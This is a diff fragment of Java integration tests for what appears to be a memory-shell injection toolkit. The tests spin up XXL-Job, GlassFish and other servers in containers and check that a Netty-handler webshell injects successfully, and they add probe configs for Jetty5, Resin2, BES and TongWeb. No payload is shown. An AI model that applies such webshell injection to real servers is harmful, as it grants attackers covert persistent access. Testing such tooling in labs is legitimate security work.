* @author ReaJason
|
||||||
|
* @since 2025/1/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class XxlJob250ContainerTest {
|
||||||
|
|
||||||
|
public static final String imageName = "xxljob/xxljob250";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final ComposeContainer compose =
|
||||||
|
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-250.yaml"))
|
||||||
|
.withExposedService("executor", 9999);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.XXLJOB;
|
||||||
|
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||||
|
List<Packers> testPackers = List.of(Packers.XxlJob);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||||
|
log.info("container stopped, logs is : {}", logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V17, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl() {
|
||||||
|
String host = compose.getServiceHost("executor", 9999);
|
||||||
|
int port = compose.getServicePort("executor", 9999);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+44
@@ -118,6 +118,15 @@ public class ProbeTestConfig {
|
|||||||
.warDeployPath(warDeployPath);
|
.warDeployPath(warDeployPath);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static ProbeTestConfigBuilder jetty5Old(String imageName, String warDeployPath) {
|
||||||
|
return builder()
|
||||||
|
.imageName(imageName)
|
||||||
|
.server(Server.Jetty5)
|
||||||
|
.warFile(ContainerTool.servlet2WarFile)
|
||||||
|
.warDeployPath(warDeployPath)
|
||||||
|
.supportsFilterProbe(false);
|
||||||
|
}
|
||||||
|
|
||||||
public static ProbeTestConfigBuilder glassfish(String imageName, String warDeployPath) {
|
public static ProbeTestConfigBuilder glassfish(String imageName, String warDeployPath) {
|
||||||
return builder()
|
return builder()
|
||||||
.imageName(imageName)
|
.imageName(imageName)
|
||||||
@@ -230,6 +239,15 @@ public class ProbeTestConfig {
|
|||||||
.warDeployPath(warDeployPath);
|
.warDeployPath(warDeployPath);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static ProbeTestConfigBuilder resin2(String imageName, String warDeployPath) {
|
||||||
|
return builder()
|
||||||
|
.imageName(imageName)
|
||||||
|
.server(Server.Resin2)
|
||||||
|
.warFile(ContainerTool.servlet2WarFile)
|
||||||
|
.warDeployPath(warDeployPath)
|
||||||
|
.supportsFilterProbe(false);
|
||||||
|
}
|
||||||
|
|
||||||
public static ProbeTestConfigBuilder springboot(String imageName, MountableFile jarFile) {
|
public static ProbeTestConfigBuilder springboot(String imageName, MountableFile jarFile) {
|
||||||
return builder()
|
return builder()
|
||||||
.imageName(imageName)
|
.imageName(imageName)
|
||||||
@@ -269,6 +287,32 @@ public class ProbeTestConfig {
|
|||||||
.supportsSpringWebMvc(true);
|
.supportsSpringWebMvc(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static ProbeTestConfigBuilder springbootBes(String imageName, MountableFile jarFile) {
|
||||||
|
return builder()
|
||||||
|
.imageName(imageName)
|
||||||
|
.jarFile(jarFile)
|
||||||
|
.jarDeployPath("/app/app.jar")
|
||||||
|
.command("java -jar /app/app.jar")
|
||||||
|
.server(Server.BES)
|
||||||
|
.contextPath("")
|
||||||
|
.healthCheckPath("/test")
|
||||||
|
.supportsFilterProbe(false)
|
||||||
|
.supportsSpringWebMvc(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static ProbeTestConfigBuilder springbootTongweb(String imageName, MountableFile jarFile) {
|
||||||
|
return builder()
|
||||||
|
.imageName(imageName)
|
||||||
|
.jarFile(jarFile)
|
||||||
|
.jarDeployPath("/app/app.jar")
|
||||||
|
.command("java -jar /app/app.jar")
|
||||||
|
.server(Server.TongWeb)
|
||||||
|
.contextPath("")
|
||||||
|
.healthCheckPath("/test")
|
||||||
|
.supportsFilterProbe(false)
|
||||||
|
.supportsSpringWebMvc(true);
|
||||||
|
}
|
||||||
|
|
||||||
public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) {
|
public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) {
|
||||||
return builder()
|
return builder()
|
||||||
.imageName(imageName)
|
.imageName(imageName)
|
||||||
|
|||||||
+38
@@ -0,0 +1,38 @@
|
|||||||
|
package com.reajason.javaweb.integration.probe.glassfish;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/12
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class GlassFish7JDK21ContainerTest extends AbstractProbeContainerTest {
|
||||||
|
|
||||||
|
private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta(
|
||||||
|
"reajason/glassfish:7.1.1-jdk21",
|
||||||
|
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.expectedJdkVersion("JDK|21.0.11|65")
|
||||||
|
.targetJdkVersion(Opcodes.V21)
|
||||||
|
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ProbeTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected GenericContainer<?> getContainer() {
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user